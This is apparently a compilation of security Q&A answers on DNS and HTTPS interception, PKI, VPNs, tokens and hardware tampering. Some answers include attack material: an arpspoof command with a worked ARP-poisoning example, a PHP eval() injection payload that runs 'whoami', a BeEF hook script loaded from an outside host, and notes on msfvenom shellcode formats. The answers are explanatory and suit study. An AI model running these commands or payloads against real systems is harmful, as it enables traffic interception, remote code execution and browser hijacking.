Can a HTTPS connection be compromised because of a rogue DNS server

In order to connect to any website, through https or not, you need the ip address of the site, and you ask your DNS server for it using the domain name of your site. If your DNS server has not cached the answer, it will try to resolve your request by asking a whole series of DNS servers (the root dns server, the top level domain handler ... until the dns server that is authorative for the domain).

An attacker that controls any of those servers can respond to you with a fake IP address for that website, and this is what your browser will try to visit. This IP address in the general case will have a replica of the website hosted, to make it look the same as the original one, or just act as a silent forwarder of your connection to the correct site after capturing what it needs.

Now on to more details: If the website is HTTPS protected there will be many pitfalls. The normal website will have a certificate issued that binds details of the domain name to the website, but this is done using assymetric encryption.

What this means is that through the process of SSL handshake, the website has to prove that it has knowledge of the private key that is associated with the public key in the certificate. Now, the malicious party can very well serve you the original certificate of the website when you try to access the wrong IP under the correct hostname, but he will not have knowledge of the private key so the SSL handshake will never complete.

But there are ways for the interceptor to make the whole thing work, I can think of four:

1) The simplest solution is to serve you a self-signed certificate instead of a normal one. This will be issued by the attacker itself. Normally your browser will warn you about that, and if you run a recent browser version the warnings will be all over the place, but users tend to click-through that kind of stuff..

2) Another approach, used in the Stuxnet attacks, is to steal the private keys used for a valid certificate from the organization that you want to impersonate.

3) Another solution, that has happened in a couple of cases (we are not talking about the average attacker here) is that he exploits some fault in the registration procedure that certificate authorities (or registration authorities) use, and manages to issue a certificate for a website that does not belong to him. There have been cases that RAs simply did not do enough checks and issued certificates for google.com ..

4) Similar to the above: A competent attacker 'hacks' a certificate or registration authority and manages to issue some certificates under whatever name he wants. It happened in May of 2011 (the famous comodo-hack) and July of 2011 (the DigiNotar hack).  See more details at How feasible is it for a CA to be hacked? Which default trusted root certificates should I remove? - IT Security.

5) Finally the most scary tecnique is the one that three letter agencies and similar parties can use: If a government controls a Certificate Authority, in theory it can force it to issue certificates at will, for whatever site. Now think that Certificate Authorities are spread throughout the world, some being in countries where this can seem very possible.  An example to watch here is the CA operated by the Emirates Telecommunications Corporation (Etisalat), 60% owned by the United Arab Emirates (UAE) government.  Etisalat once rolled out an innocuous looking BlackBerry patch that inserted spyware into RIM devices, enabling monitoring of e-mail.

In addition, if the client still supports the old SSL 2.0 protocol, a MITM can downgrade the SSL connection and use either a weaker symmetric encryption algorithm or a weaker key exchange.

So to sum up, if the attacker controls the DNS server he can do very malicious things, but for intercepting SSL encrypted traffic he needs something more than that.

And to answer your last question: The CA's site does not need to be resolved each time you visit a site: The website usually serves you the public certificate it uses itself, but it is possible that you get it from the CA instead. This does not change any of the mentioned things above though.


Best practices for verifying a users identity for helpdesk

The company email is likely a bad way to verify someone's identity. In most places, the email address is in a common format that could easily be guessed. Social engineering and pretexting are easy ways to get common information. You should also consider the insider threat, a coworker could impersonate someone with an email address easily. (I am assuming that you mean providing this over the phone, not sending them an email to open during a call)

If you want to authenticate a user's identity, you need to use something that is non-public and hard to guess. Some companies may have specific code words, etc. They may require a call back to a number known to be the employee's work, home, or cell number. This should not be their system or email password.


Restricting Issuing CA's choice of keyUsage and extendedKeyusage

To my knowledge, you cannot enforce this - key usage doesn't cascade down.
If you want control, you should audit the issuing log of the Webserver Issuing CA.


There are two different types of hash functions:

(non-cryptographic) hash functions
cryptographic hash functions

The cryptographic hash functions make specific security promises, such as being hard to invert, hard to create collisions, and such.

Regular non-cryptographic hash functions, such as the one used in java.util.HashMap, are designed to be as fast as possible, to distribute inputs as evenly as possible into the full range of hash buckets, and do not usually make specific security promises.

Nonetheless, that's not to say there aren't any security concerns with regular hash functions. For example, algorithmic complexity attacks, where the attacker chooses unique keys that they know all map to the same hashed value, allowing them to mount a denial of service attack.


Is it possible to fake the data sent to an analytics server?

Yes, it's possible. The analytics server is just a common server receiving browser requests. Any user savvy enough to use Developer Tools on his browser can see the network requests and replicate them as they want.

The server usually will not validate if the browser or a script is sending data. The costs to implement hardened analytics is not worth it.


expose home applications to the internet

The best solution for this problem would be renting a cloud server and host your applications on their site as you don't need to expose your home network and are personally secure if the server got hacked in some way.
If you still would like to host it local I would suggest an VPN tunnel if you need your PC connected to your whole network for many reasons. If you put your computer in a DMZ or make a own network for that and cut it off the other devices I would suggest a SSH server. Reasons for that are:

Both, VPN and SSH, are very robust and secure because the add some strong encryption. Anyway, it's easier for you to connect with OpenVPN or other software and you can use more features of your home network as you tunnel the whole traffic. These are coming in the future as you are surely expanding your solutions so better start with a full setup than always a short term solution.
As you are thinking of SSH or VPN you got the security problem with both solutions. If one get compromised they get your network (VPN connects you to a network and SSH to a particular PC but if this PC is in your local network it doesn't matter which one get compromised). So better start with a protocol that fits all your needs and more.
One big drawback will be that it's harder to setup and maintain a VPN Server than a SSH Server.
VPN offeres more privacy as it adds another layer and works as a direct connection to your own network.

So if you are thinking of these reasons you can select your needed protocol. If you just want to put one PC on the internet, which is cut off the network (Either DMZ or physically), SSH will be enough as it's easier to maintain and install. If this PC needs to be connected to your network you can use a VPN as it doesn't matter in security perspective and you can use the privacy point.
I know I missed RDP here but as you stated you don't like it I took it out off my considerations.


Remediation against relay attacks (ie. NFC)

For NFC technology, the main solution that has been offered to date is distance bounding, in which a tightly timed exchange of challenges and responses persuades the verfier that the prover cannot be further away than a certain distance. This solution, however, has some drawbacks:

It still won't say whether the specific endpoint the verifier is talking to is the intended one or not. It will only tell the verifier whether the real prover is nearby.
    It involves hard real time processing to measure the transfer time and deduce the distance.


Is it safe to keep my KeePassX database on my server or cloud with encryption?

The point of encrypting the key store is that theoretically you should be able to publish the encrypted file to the public and have nothing to worry about.

With that said, all programs have bugs, and to counter that threat it's a good idea to store your key file in an encrypted/protected area such as Dropbox.

While there's a chance Dropbox gets hacked or an employee steals your key store and attempts to hack it, the likelihood is extremely low.

Make sure you're using best practices and you'll be fine.

don't reuse the password for encrypting the key store
the keystore pass should be difficult to guess
use the latest version of the KeypassX program
Sign up to haveibeenpwned to be notified about any breaches


What are the laws regarding ISP recording IP addresses? How would they know who had which?

Some ISPs force a connection reset every 24h and you get a new IP address assigned, others don't force you and yet others give you a fixed ip address.
There are laws requiring the ISPs to log the User - IP association (which in turn is associated with your contract)... but e.g. in the EU there is the data retention directive that requires ISPs to even log individual connections.
(Actually the EU directive is a "contract" between the European Council/Parlament and member nations, not between EC/EP and ISPs. The nations must adopt the directives in local law themselves. Usually they either adopt it as is, adopt it and extend it, have already adopted it or refuse to do so (this usually works by ruling that it conflicts with constitution).)
read more at http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=CELEX:32006L0024:EN:HTML.
There is a visualisation for retained mobile phone connection metadata at http://www.zeit.de/datenschutz/malte-spitz-data-retention

Concerning your question about geographical location:
There is a limited number of IP adresses available. They are goverened and distributed by organisations like http://www.iana.org and (?) http://www.ripe.net/ . Now your ISP buys IP addresses (whole ranges and networks) and uses them to connect you to the internet. They are not sitting there and free to use like on a private network with DHCP.
(Try looking up your IP address and looking it up at https://apps.db.ripe.net/search/query.html)

There are databases like http://www.geoiptool.com/ that try to provide location information for any given ip address, but their accuracy greatly depends on different factors (e.g. if your ISP only operates in a small regional area or in the entire USA). Usually those databases are only good for associating IPs to countries.


Does the carrier network autheticates itself to the SIM card?

According to these slides, during the handshake both the operator and the SIM card uses A8, RAND, and Ki to generate a session key (Kc).

After the operator compares RAND_1 and RAND_2, it uses Kc to encrypt a message. The mobile then tries to decrypt the encrypted message with Kc; if this decryption is successful, then the mobile had, in effect, authenticated that the operator of the tower knows Ki as well, because generating Kc requires knowing Ki.


Best answer: it depends ;)
You know the difference between executable formats and transform formats? (Question about difference) You can list the formats with the --list formats option. There you can see wether it is an executable format or for transformation.

Executable formats have the same file type / ending as the format name (-f asp > file.asp). Exceptions are the ones with a hyphen: psh-* is a powershell format so you can use *.ps1 (wikipedia powershell filetypes). (and maybe the osx-app format can be a .bin).

Transform formats are more used to build a wrapper for the shellcode in the selected language. So if you use a generic windows/shell/bind_tcp with python (as in an official example) then the file will contain a whole python script and in there is a string variable called buf which contains the shellcode in python string syntax. Below this can be the execution / call of the string.
The hex and even more the raw format is used to transform or encode it later or to directly inject it to an exploit. If you maybe find a buffer overflow (for example) which leeds to an execution of user defined content, then you won't need the headers of the executable formats (exe, elf, ...) but you need the 'raw shellcode'. Then use the raw type.

And note the payload itself: if you use cmd/unix... then an exe format won't work and an elf not all the time. If it begins with python/.. then use a raw format to inject in existing python 'exec' areas because the exploit is already in python format.

Try to use it without encoder (-e generic/none) and inspect your output for different payloads (perl/.., cmd/unix/.. , ...) and different formats before you 'use' them.


You seem to be describing a CORS (Cross-Origin Resource Sharing) attack in conjunction with using the Beef framework. Here is a snippet from OWASP:

  Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)

I do not quite understand the second question but I'm assuming you'd want to host the .js file elsewhere. Here is a rough overview of how it goes:

The victim has to be able to open your site, and the victim browser has to be able to load the .js file. This file contains malicious payloads that when loaded by a victim browser, gives you varying degrees of control and security breaches. The file can be either hosted on your web-server, or it can be hosted externally, on another server.

For example: <script src="http://someotherserviceorwebsite.com/hook.js"></script>

You do not need to have access to that machine - only the file has to be available.

There are a number of free services you can utilize to host your JS file for free.

I hope I understood your question correctly.


Impact of sharing the private key with a third party for snooping SSL traffic

If you can really trust the third party that it keeps your private key secret and uses it only for passively sniffing and decoding the encrypted traffic (like within an IDS) then you are probably right about the impact.

But of course this third party can also use this private key for active interceptions (i.e. modify traffic) or for impersonating your site, because the private key and the public certificate together is all what is needed to do this. And you probably might not detect when their are doing this or when they give your private key away (voluntarily or not, i.e. if they get hacked) so that others can do it.

Also note that weakening the cipher suite might have some unintended side effect because browsers like chrome will complain about it (but still connect) but some applications (like iOS9 apps) will fail to connect at all because they expect ciphers with forward secrecy.

  Since DH based ciphers are faster in computation than RSA so I think there could be little performance impact.

I don't know where you got this from. DH key exchange is much slower than RSA and while ECDH is much faster than DH it is still slower than RSA. See the benchmarks at the SSL/TLS & Perfect Forward Secrecy article from Vincent Bernat.


Is it possible to have a RESTful API that is encrypted without TLS?

Yes it is possible. But why would you do that?

All mobile platforms supports TLS, why reinvent the wheel?

Encryption is very hard to get right, and easy to get wrong. If you can invent a better encryption than the guys that write TLS software, you wouldn't be asking this question.


Why does nmap remotely show when I have port 6969 open, but not others?

There are no such things as local ports. Whether a port is is accessible from localhost only or from outside depends only on the interface it is bound to.
So if you bind a port to IP 127.0.0.1 then it's attached to lo(opback) interface and that is local-only. If you bind the port to all interfaces with IP 0.0.0.0 then it is accessible from everywhere, unless there is a firewall blocking the access.
The reason why nmap is saying 6969/TCP is acmsoda is because nmap has a built-in list of default ports for common services. It is not even trying to guess what the actual service is. Similarly if you move your standard SSH port (22/TCP) to another port, nmap fails to identify the service properly. You have to explicitly tell nmap to try and identify a service in a port and its version number.
I'm not OSX guy so don't know how the firewall is there by default but in all cases it's recommended to close all incoming ports by default and only open ports for needed services case by case.


Could point to point firewall connection rules prevent MiTM

Your methods would protect you against the exact scenario you outline but attackers don't have to attack you in the way you specify.  Minor modifications in the way the banking trojan works will leave you vulnerable.

If the trojan just MITM's you directly rather than forwarding you to an external site it can change the details of a legitimate transaction so a simple authentication code sent via SMS won't help.  Also badguys can hijack phone numbers and trojan phones as well.


Corporate PKI - is it an enterprise standard?

A self-signed certificate is considered a certificate signed by the key inside the certificate itself. This is not common for larger installations (i.e. companies) because it does not scale, i.e. you would need to have exceptions or certificate pinning for each issued certificate.

What was probably meant is that a company has their own PKI structure with their own internal root-CA and use it to sign their own certificates. In this case it is enough that each system only trusts the company's root CA in order to verify each certificate issued by the company. This setup is actually very common in larger companies because it scales well. But even if these certificates are signed by the company themselves their are not called self-signed certificates, because this phrase has already a different meaning.


https://check.torproject.org/

Make sure you have setup your browser to use the proxy, you can use something like foxy proxy to be able to switch between TOR and normal browsing quickly.


Is writing programs in .NET less secure since they can be easily reverse engineered?

Are you looking to protect the code because of an intellectual property requirement the person/company you are writing the code for has? Then I guess writing it in C could make it a bit more challenging to decompile, but someone with the required motivation and skills would go around that by reverse engineering it using many of the available tools; maybe a dissembler like IDA: Wikipedia - Interactive Disassemler

On the other hand, if you are looking to hide the logic of your application in order to make it difficult to find vulnerabilities, you are going down the path of "security by obscurity", which is quite worthless from an application security perspective. As wireghoul said, this logic would imply that all closed source applications would be secure and open source software would be a disaster. In fact, both have the same families of vulnerabilities and flaws that are exploitable.

I would instead invite you to invest some time looking at Secure Coding Practice Guidlines and Core Security Concepts. A quick lookup on Google about those topics will guide you and there is also plenty of good literature on this subject.


arpspoof -i <NIC> <default_router_ip>

Will tell all devices on the subnet of <NIC> that they should resolve <default_router_ip> to this machine instead.

Say your attacking box has eth0 IP 192.168.52.7 and the MAC address 00-14-22-01-23-45.

Say the router has IP 192.168.52.1 and the MAC address 00-14-22-01-02-03.

If you run arpspoof -i eth0 192.168.52.1 your system will constantly send out ARP replies stating 00-14-22-01-23-45 is the correct hardware address for 192.168.52.1.

Therefore when our victim, 192.168.52.100 asks for the MAC address of the default gateway 192.168.52.1, it gets 00-14-22-01-23-45 and routes all of its internet traffic to our attacking box instead.

Note that -t is optional, and is only used if you want to target one victim at a time (192.168.52.100 in our case). If not specified, all ARP caches on the subnet are attempted to be poisoned. If -t is specified, you can also specify -r so that traffic in both directions is captured. This then does not require two arpspoof commands to be issued.


How much privacy do domain whois privacy services really offer?

Over a period of 2 years I received some spam mails (less than ten), having my contact info public. But my website was just a personal one (about my hobbies and such). If your website is a commercial one, I would recommend to hide your details.

And it would surely make it harder for people to find out your details, even if the details were public for a short while.


February 7th 2013 Facebook integration error implications

From what I can tell from that article it was an error with the Facebook "Connect" API.

This is the button on a site that says "Log in with Facebook". It is just a link the site owner puts on the page. When the user clicks it, you are redirected to Facebook's server. The site owners have no control over what happens after this.

It doesn't "bypass fundamental security features" because the site owners willing placed a link to Facebook on their site. They trust Facebook to behave, and they didn't.

Now that I think about it, it's kind of dishonest that this article used the word "hijack" in the headline. It doesn't sound like a security issue at all. The headline may as well have said "Facebook connect was down. Had an error." Please fill me in if I'm misunderstanding.

EDIT: It did not require a button click as I had inferred. Here is the javascript clusterfuck that sites embed for Facebook Connect: http://connect.facebook.net/en_US/all.js


How can I use OpenSSL with an external source of randomness?

OpenSSL will use /dev/random if available. And: that is an excellent source of entropy, especially when used with a hardware source of entropy. I'd recommend you watch the excellent lecture held at 32c3 on misunderstandings and reality of /dev/random:

So: Use your hardware generator to feed your operating system's entropy pool, and let OpenSSL feed off that. Directly feeding OpenSSL from your hardware might work, but is not really any better – and more importantly, you eliminate the intermediate step of dumping randomness to a file, which might leave traces that could later on be used to reconstruct key generation.


In detail, how does SSL offloading/acceleration/termination work?

There are two sessions:

Client <====1====> SSL Terminator <====2====> Webserver

Each of those is a TCP session.

Session 1 is SSL-over-TCP, and session 2 is plain TCP.

SSL Terminator has dedicated hardware which speeds up the SSL encryption/decryption process (commonly 'cryption is "offloaded" to specialized cards).  Because this special hardware is less easily available to use on the webserver itself, the SSL Terminator fills a niche.

Some related reading:

SSL Offloading from F5
SSL Acceleration from Wikipedia (bear in mind, an SSL Terminator may simply be a device that takes advantage of SSL acceleration hardware without the webserver admin needing to muck with hardware or APIs).
SSL Offloading from nginx


Logging in after password reset email sent (but not acted on)

They should be allowed to log in after the email is sent.

After all clicking on the reset link in the email is what triggers the reset, not requesting the email. As you mention yourself, locking the account when asking for reset mail could lead to abuse.


How to use USB-Stick instead of passphrase?

Check out yubikey for a possible idea

http://www.yubico.com/products/services-software/personalization-tools/static-password/

Edit: Note that even Yubikey recommends not storing the entire key on the device...

From the Yubikey website:

  Yubico recommends users to use the YubiKey in static password mode for
  only part of their password. Users are recommended to manually enter a
  simple and easy-to-remember first part of their password, then use the
  YubiKey to enter a strong second part to their password. For example:
  Users can set their password to
  Sunny33rcltrcihbkkiulnveuenervidliliifv, where “Sunny33” is manually
  entered by the users and “rcltrcihbkkiulnveuenervidliliifv” is stored
  in and entered by the YubiKey


I know that RSA offers services that will, among other things, take down phishing sites. More information can be found here.

I have experience with them and I must say, whenever we request a take down on a phishing site, their response is quite fast.

Unfortunately, I have no idea regarding costs etc.


Does public key encryption/decryption speed actually matter?

Yes, it matters when:

1) there is a constrained hardware and there are constrains on the time that it takes to run the whole operation (protocol) that includes authentication/encryption (e.g., waving a smartcard at a tourniquet when paying for entering a metro). The operation might include several encryption and decryption operations that take place in the smartcard, e.g., one decryption to authenticate the smartcard to the tourniquet, several encryptions to authenticate the tourniquet (e.g., there might be a chain of certificates that should be verified).

Another example is a passport with a chip that is controlled at state borders.

Conclusion: one crypto operation might be fine, but when several crypto operations are required, the resulting protocol at constrained hardware might have usability issues.

2) a number of operations is large (it has been already mentioned in the comments). E.g., a number of SSL sessions.


Is there a Service to setup a Honey Pot URL to collect user IP + other data?

Every website collects IP and browser information - all you need to do is set up a free server on a free hosting service and check the logs. Technologically, there is no service because it is trivial.

Your implementation of how the URL is discovered is going to be an issue. The Internet is full of crawlers looking for websites, so you are going to get a lot of hits in your logs. What you need is a username/password and a password protected service to use.

This concept is called a "Honey User". You can set this up on any service (Gmail?). Just make sure that you don't use the Honey User account for any other purpose. Google account services has some level of logging of when and where the account was accessed from, if it was accessed from a new location, etc. But, choose the service that meets your needs.

You can put the credentials in password files, your browser's password cache, etc, so that when an attacker goes for those high-value targets, they are more likely to discover the Honey User account.


Is it normal for a company to request this information after stolen card details were used?

It is safe.
The delivery app MUST NOT know the full 16-digits number of the card, but SHOULD keep a smaller record, namely last 4 digits, to identify the card.
4 digits are not enough to uniquely identify a card, so they must be combined with other information. But 4 digits are not sufficient for the employee that reads email to make additional fraudulent purchases (irrelevant, as the card was revoked).
The delivery app will indeed have to return the money as the bank will claim it back, but this information helps them identify the orders and the account associated to them. And likely block the account or get info ready before someone else  asks.


Tracing Proxy Easy or Hard for a Normal Website?

It depends somewhat on the proxy. Some proxies will provide a X-Forwarded-For header which provides the IP address of the system that made the request via the proxy.

Other proxies, especially those that specifically offer anonymous browsing are unlikely to provide any direct information about the source of the request.

Beyond that basic point, there's a number of potential means that the site could use to determine users who are creating multiple accounts.  Whether they would largely depends on the type of site and how keen they are to prevent it.  Some options would be

Browser Fingerprinting.  Essentially the specific combination of version information visible to the server can sometimes be used to identify specific users.
Rich clients.  If the site downloads something like a Java applet they could use that to try and determine the Internet IP address of the user.

Of course all this depends on how they're preventing a user having multiple accounts.  From what you're saying they're basing it on source IP address, which is not a great solution as a lot of users use proxies in the general run of things (eg, browsing from a company network), so it would fail for them.


Encrypting data by parts vs encrypting the whole data

Before encrypting, you must first define what kind of property you want to achieve, and what are the paths which a putative attacker may use.

Encryption is a tool for gaining confidentiality. Most security models also need some kind of controlled integrity check ("only passive" attackers are very rare). There are encryption modes which combine encryption (for confidentiality) and verified integrity, see EAX and GCM. Per record encryption implies the following:

The number and size of records leaks.
The structural integrity of the complete file is no longer guaranteed: an active attacker could remove some records, or change their order, without being detected.
There is a size overhead. Each individual encryption has a fixed size overhead, which depends on the encryption mode (this is needed for the integrity check and for an essential parameter called Initialization Vector). Having that overhead for each record requires more space that a single overhead for the whole file.
It is possible to verify the integrity of a single record without processing the whole file.
It is complex.

This last consequence should be viewed as a compelling reason not to use per-record encryption: complexity is the worst enemy of the security engineer. So unless you have an actual need for processing the file in partial chunks (i.e. it is too huge to be decrypted and checked in RAM as a whole), you should refrain from trying to implement per-record encryption.


I recently discovered that dsniff had been installed on my computer. What do I do?

DSniff is a set of tools which do traffic analysis on the network. A machine which has DSniff installed can spy upon the local network and reveal every data element which is not protected. Nominally, SSL protects against that; that's what SSL was designed to do. One of the DSniff tools is webmitm, which purports to intercept and crack SSL connections -- it can do that only by making the client accept a fake server certificate, as part of a Man-in-the-Middle attack. If you never got a warning from your browser (the big scary warning which tells you that the server's certificate looks fishy) and clicked through it, then you should be safe. The validation of the server's certificate is the part which prevents MitM attacks.

However...

Your real problem is that potentially malicious people have administrative access on your machine. If they wanted to read your files, grab your passwords and generally plunder your secrets, then they could have perfectly done it and then removed their traces. That you find in their .bash_history file an installation command for dsniff does not mean that installing dsniff is the only thing they did. Having "sudo privileges" implies being able to run arbitrary things without any restriction on the machine. That kind of power includes the power to edit log files to remove all traces of funky activity.

To sum up, if your co-workers want to see your emails, then they already have them and there is no guarantee that you could find any trace of the act.

That's why in most workplaces they have this wonderful thing in place, called trust. Personally I would not accept to work with people that I could not trust with not trying to read my personal emails.


Restore integrity of compromised live boot iso

If the iso file you have is not compromised, you can just reboot and load it.

The main issue is not the integrity of your system, but your Operation Security (OpSec). This is the issue that most people forget, and what brings them down. Hardware compromise is very difficult to pull of, software compromise less so, but operation security compromise happens all the time.


Does disclosing server local time to users cause any security risks?

I cannot see how disclosing the server localtime could help in attacks. I assume that most production server use synchronization so their UTC time is accurate and is the same on any server.

More for me the notion of localtime in only local to one environment: different processes on the same server could use different local times. At most it could help an attacker to locate where the server could be on the planet. But even this information has a limited value because in some large organization the servers and applications internally run on UTC time to allow easy backups between servers on different continents.


Pre-filling username for access to online web application

I can't see any problem with including the username within the email.

However, it's generally considered bad practice to include a link to a login form in an email as it trains users to click through links given in an email which may be phishing attacks.  Secondly, it may make your (actual, legitimate) email look like phishing/spam to some filters and/or skeptical users as in this article by Sophos.

Best practice is to tell the user to type in your address at the url bar; this ensures that the user actually goes to your website and none other.


Search for military installed backdoors on laptop

If the device left your sight for any amount of time, replace it. It can no longer be trusted.
The cost to assure it can still be trusted significantly exceeds the cost of getting a new one

There is effectively no way to verify that the hardware has not been tampered with without significant expertise and employing non-trivial resources. The only solution is to replace the laptop and all associated components. Without knowing your country or other aspects of the situation you are in, there is no way for me to comment on the likelihood of this, only on the technical feasibility.
If you do need to verify the integrity of the laptop, there are a few things to check (non-exhaustive):

Weight distribution - Verify the precise weight of each component (ICs, PCB, etc). Weight distributions can be analyzed using gyroscopic effects. This requires having uncompromised equipment nearby for comparison. Extremely precise measuring equipment is required. You'll need to be aware of the different tolerances each part has in order to know what is anomalous.

Power consumption - Verify the power consumption of each component over time. Backdoors often use power, and their presence can sometimes be detected with a power analysis attack. Do not rely on this however, as integrated circuits can use extremely little power nowadays.

PCB X-ray inspection - Use X-rays to view the circuit board internals. This requires expensive equipment for a multi-layer printed circuit board such as a laptop motherboard. It also requires many man hours of intensive inspection of each square micrometer of the device. This is probably the easiest to do, although still takes specialized equipment and skills.

IC inspection - Physically remove the various layers on integrated circuits ("decapping") and analyze the internal die. For anything much more complicated than an 8051 microcontroller, this will require significant expertise and is not possible without a high level of domain knowledge and a lab. But this would have to be done for everything from the main chipset to every CPLD on the board. Do you have a full-face respirator and a fume hood for all the acid you'll need to use?

Sounds excessive? It is, but this is what you would have to do to have a good level of confidence that no malicious hardware modifications have been made. It will be cheaper just to buy a new laptop. Note that this is not intended to be practical advice, and it is not even close to complete even if it was. It's meant only to illustrate this near-impossibility of searching for sophisticated hardware implants.

I nuked it from orbit but I just realised that it was on sleep state for 2 days and not in shutdown state, so it was connected to my modem via wifi. Does it need to be worried about?

In theory, compromised hardware or firmware would be made to compromise your wireless access point or other devices listening in. While a suspended state (sleep mode) normally also disables the NIC, you cannot make that assumption if the hardware is compromised. However, while this is theoretically possible, it would require a far more targeted attack, and most military groups will not want to give away their 0days by shooting them at any random nearby wireless devices.
Unfortunately, it is also theoretically possible that your modem has been compromised. If that is the case though, I think it'd be incredibly unlikely that it was done by your exploited laptop, as they could have just taken over your modem through your internet connection (TR-069 is a bitch), assuming they can control or compromise your ISP. If they have tampered with your hardware, it's much more likely that they have only done so for surveillance purposes, not to spread some silly worm.

I have double checked the laptop physically and there is no sign of screw or plastic deformation. Is that still possible that they have compromised its hardware?

Absolutely. There are many ways to open a laptop without that fact being apparent. While many sophisticated chassis intrusion detection mechanisms exist (some that even detect small changes in air pressure that would indicate a person messing with it), there are some "ghetto" techniques which you may be able to use in the future. One technique is to sprinkle nail polish with glitter on the joints of the system, inside and out. Take a high-resolution photo of this (and don't store the photo on the computer!). If the device is opened, the precise layout of the glitter will be disrupted, and it will become exceptionally difficult to put it back in place. You can compare it with the stored photo and look for subtle differences. This is sufficient to detect tampering by most adversaries, if done right.
The term for this is tamper-evidence, which is any technique that makes it difficult to tamper with a device without that fact being noticeable. More professional options would include bespoke tamper-evident security tape or holographic stickers. There are lots of epoxy potting solutions too (but beware of overheating!). Unfortunately, this can only help you in the future and will obviously be incapable of protecting your system retroactively. But consider how likely it is that they really compromised it.


Which languages are better for attacks against websites?

Hmm, I would have to say Python, Bash and/or Perl. Why? Well they are installed by default on most of *NIX platforms (most of the web servers) and are easy to program for a quick hack (again I'm talking hacking code).

DISCLAIMER: I am not promoting penetration attacks :D


How eval() in php can be dangerous in web application's security?

Ok, first imagine that I send this request:

script.php?arg=foo

Your eval then looks like this:

$y = "foo";

But if I send this:

script.php?arg=";%20echo%20exec('whoami');%20//

This turns your code into this:

$y = ""; echo exec('whoami'); //";

Which executes the "whoami" command on the server and prints the result. The // comments out the end part of your original code so it gets ignored and my code runs successfully.

This is an incredibly trivial remote code execution bug to exploit.


Log in without password using SSH, knowing authorized_keys?

You cannot generate a private key from a public key. That's the whole point of public-key cryptography.

The public key is not encrypted. Even if you don't understand what the numbers do, they're in a form that's ready to use. No password is involved. (Private keys are often encrypted with a password, but you don't have a private key.)

Having the contents of authorized_keys will not help you log into the machine. The only consequence it might have is on the user's privacy, since it tells you something about who is allowed to log into this acccount.


How could a third-party know the contents of an email I sent to someone?

There are multiple additional ways:

The message was not encrypted, and somebody captured it during transmission (as pointed out by Gumbo)
The client is compromised and has some sort of malware that reads keystrokes, intercept emails, ...
The recipient is compromised
Any "mail relay" in between is compromised
The recipient indeed did forward the mail, or the recipient address is an alias which delivers the mail to a number of users, who each might have forwarded the mail or be compromised.


Security Trade-offs in Hardtoken vs Softtoken VPN connections

That is a common usage. The interesting part in a physical device, is that when you no longer work with a contractor, you ask him to give you back the device and you are sure that he will no longer be able to connect to your system.

Employees are assumed to be more reliable, so a software way is enough. The security is no longer on the physical way (it is easier to copy a software that a physical device), but on a legal way. I mean that the company can fire and/or prosecute an employee that would not respect the security policies. That is just a compromise between the risk and the way to mitigate the risk


What can entreprise admins do with our secured sessions?

The graphic you posted is a setup which isn't actually that uncommon in corporations. It allows the intercepting proxy server to eavesdrop and even modify any web activity. Legitimate use of this technique is usually to enforce acceptable use policies in the organization, like preventing people from playing games or looking at porn while they should be working. It also allows to scan any traffic for web-based exploits or viruses before they reach the client. With end-to-end encryption, this would be impossible for the proxy.

However, should a network administrator really have malicious intentions, they could, for example, snoop any usernames and passwords people enter on any website. They could also redirect websites to their own servers without the user noticing and give them false information or luring them into entering information the legitimate website isn't asking them for.

But let's assume they don't use this setup and the end-to-end encryption between client and webserver works as they believe. What other information can be logged on the proxy?  While the proxy doesn't know the exact URLs you visited, it still knows which domains you contacted. So it doesn't see http://reallypervertedporn.example/videos/167642/hot_girl_on_girl_on_guy_on_goat_action_part4.flv but it still sees that you made a TLS-handshake with https://reallypervertedporn.example and received several MB of data, which might be something you have to explain.


https://robertheaton.com/2018/07/02/stylish-browser-extension-steals-your-internet-history/ is the original technical write-up that covered the Stylish ordeal. There was a more recent one posted in August by the same author that covers the updated version of Stylish: https://robertheaton.com/2018/08/16/stylish-is-back-and-you-still-shouldnt-use-it/.

The latest write-up notes that Stylish added an opt-in screen when you install the extension.

Personally, I think this snippet describes the author's stance on the update best:

  Will SimilarWeb (the adtech company that owns Stylish) try to sneak in more underhanded tracking in the future? I don’t see why not. Can we trust them? In my opinion, no. [...]

It is also worth mentioning that the author recommends using an open-source variant called "Stylus".


How to pass a localhost check for an incoming request?

You "pass" a localhost check by sending the request to localhost (or 127.* or ::1). For example, you can make a web browser do this by navigating to http://localhost/ or http://[::1]/. The C# code snippet you posted for the server is checking the local IP address, so for a server that's the IP address the server received the connection request at, and from a client's perspective it's the IP address that the client is trying to connect to (the destination).

If you try sending such a request from any machine other than the one you're attempting to connect to, you'll route the request to your own machine, which is not what you want (but is the point of the loopback address). If you try crafting raw Ethernet packets that just happen to contain TCP/IP traffic, and set the IP destination to 127.0.0.1 but try to transmit the packet to another machine (via MAC address), one of these things will happen:

You'll get an error from your network stack, because the packet was recognized to be IP traffic and is being transmitted wrong. Most network drivers probably won't do this, though, and if they do you can (in theory) edit that behavior out.
Your packet will go out on the network, but be rejected by the first node it arrives at (probably a switch or router, unless you have a direct connection to the other machine) because, again, it is invalid; it's bound for the loopback network but comes from an external network. This might be what you're seeing in Wireshark.
Your packet will be accepted by a router or switch, but passed to that router/switch's loopback network (after all, that's the destination IP address) rather than passing it on to any other host (it doesn't know where next to send the packet). This would be a security bug in the device and well worth reporting to the manufacturer if found.
Your packet will go to the destination computer (if directly connected, or possibly if broadcast through a network hub), and be initially accepted by the network stack as a TCP SYN packet. However, when the server tries to respond with SYN/ACK, it will fail because it is trying to send an invalid packet (originating with localhost but bound for an outside host). This is still probably a security bug in the network driver / IP stack, because UDP packets don't require a handshake like that. Very much worth reporting.
Your packet reaches the destination host and is accepted (as above), and you get a TCP SYN/ACK from the server, inviting you to complete the handshake with a final ACK and start transmitting data. You'd probably need a raw socket listener for this, because the OS network stack isn't going to recognize the incoming packet as part of a TCP handshake it was working on (though you could, theoretically, patch it to do so). This indicates a serious security bug in the server's network stack.

Note that in none of these cases, except the last one, is there any chance of the C# web server ever seeing the request come in. HTTP is transmitted over TCP, and TCP servers aren't even notified that somebody is connecting to them until the handshake completes. So, unless you've got a really serious bug in your network stack and are connected pretty directly, this is never going to happen.

